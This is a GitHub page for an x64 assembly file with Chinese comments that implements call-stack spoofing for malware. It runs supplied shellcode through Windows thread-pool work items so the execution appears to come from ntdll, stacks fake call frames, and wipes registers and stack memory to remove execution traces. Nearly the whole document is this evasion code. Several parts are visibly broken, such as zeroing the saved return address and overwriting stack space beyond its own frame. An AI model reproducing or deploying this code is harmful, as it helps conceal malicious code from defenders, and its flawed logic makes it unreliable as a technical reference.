This repository was archived by the owner on Feb 28, 2026. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathCustomCallStack.asm
More file actions
193 lines (154 loc) · 4.09 KB
/
CustomCallStack.asm
File metadata and controls
193 lines (154 loc) · 4.09 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
; CustomCallStack.asm
; 汇编实现的堆栈欺骗核心机制
; 展示如何在底层实现调用栈伪装
.code
; 外部函数声明
extern TpAllocWork: proc
extern TpPostWork: proc
extern TpReleaseWork: proc
extern GetModuleHandleA: proc
extern GetProcAddress: proc
; 堆栈欺骗的核心汇编函数
; 参数: RCX = shellcode地址, RDX = 大小
CallStackSpoof proc
; 保存寄存器状态
push rbp
mov rbp, rsp
sub rsp, 40h ; 分配栈空间
; 保存参数
mov [rbp-8], rcx ; shellcode地址
mov [rbp-10h], rdx ; shellcode大小
; 清理调用栈痕迹 - 关键技术点
xor rax, rax
mov [rbp+8], rax ; 清除返回地址上方的内容
; 创建假的调用栈帧
push 0FFFFFFFFFFFFFFFFh ; 填充垃圾数据
push 0FFFFFFFFFFFFFFFFh
push 0FFFFFFFFFFFFFFFFh
; 获取ntdll.dll句柄 - 让调用看起来来自系统模块
lea rcx, ntdll_name
call GetModuleHandleA
mov [rbp-18h], rax ; 保存ntdll句柄
; 获取TpAllocWork地址
mov rcx, [rbp-18h] ; ntdll句柄
lea rdx, tpallocwork_name
call GetProcAddress
mov [rbp-20h], rax ; 保存TpAllocWork地址
; 准备调用TpAllocWork的参数
lea rcx, work_object ; pptpw
lea rdx, WorkerCallback ; pfnwk
mov r8, [rbp-8] ; pv (shellcode地址)
xor r9, r9 ; pcbe (NULL)
; 通过间接调用执行 - 隐藏直接调用痕迹
call qword ptr [rbp-20h] ; 调用TpAllocWork
; 检查返回值
test rax, rax
jnz error_exit
; 提交工作项
mov rcx, work_object
call TpPostWork
; 等待执行完成的简单循环
wait_loop:
mov eax, execution_completed
test eax, eax
jz wait_loop
; 清理工作
mov rcx, work_object
call TpReleaseWork
; 恢复栈状态
add rsp, 18h ; 清理之前push的垃圾数据
jmp cleanup
error_exit:
; 错误处理
mov rax, -1
cleanup:
add rsp, 40h
pop rbp
ret
CallStackSpoof endp
; 工作线程回调函数 - 真正执行shellcode的地方
WorkerCallback proc
; 这个函数在线程池线程中执行,调用栈完全不同
push rbp
mov rbp, rsp
sub rsp, 20h
; RCX包含shellcode地址
mov rax, rcx
; 设置执行环境
; 这里的关键是调用栈已经被线程池"清洗"过了
; 直接跳转执行shellcode
call rax ; 执行shellcode
; 标记完成
mov execution_completed, 1
add rsp, 20h
pop rbp
ret
WorkerCallback endp
; 高级堆栈伪装函数
; 创建多层假调用栈来进一步混淆
AdvancedStackSpoof proc
push rbp
mov rbp, rsp
; 创建深层调用栈假象
call layer1
pop rbp
ret
AdvancedStackSpoof endp
layer1 proc
push rbp
mov rbp, rsp
call layer2
pop rbp
ret
layer1 endp
layer2 proc
push rbp
mov rbp, rsp
call layer3
pop rbp
ret
layer2 endp
layer3 proc
push rbp
mov rbp, rsp
; 在深层调用中执行真正的操作
; 这时调用栈已经被层层包装
call actual_execution
pop rbp
ret
layer3 endp
actual_execution proc
; 在这里执行实际的敏感操作
; 调用栈看起来是正常的函数调用序列
ret
actual_execution endp
; 内存清理函数 - 清除执行痕迹
CleanExecutionTraces proc
push rbp
mov rbp, rsp
sub rsp, 20h
; 清理寄存器
xor rax, rax
xor rbx, rbx
xor rcx, rcx
xor rdx, rdx
xor r8, r8
xor r9, r9
xor r10, r10
xor r11, r11
; 清理栈上的敏感数据
mov rcx, 100h ; 清理256字节的栈空间
lea rdi, [rbp-100h]
xor rax, rax
rep stosb ; 用0填充
add rsp, 20h
pop rbp
ret
CleanExecutionTraces endp
.data
; 数据段
work_object dq 0
execution_completed dd 0
ntdll_name db 'ntdll.dll', 0
tpallocwork_name db 'TpAllocWork', 0
end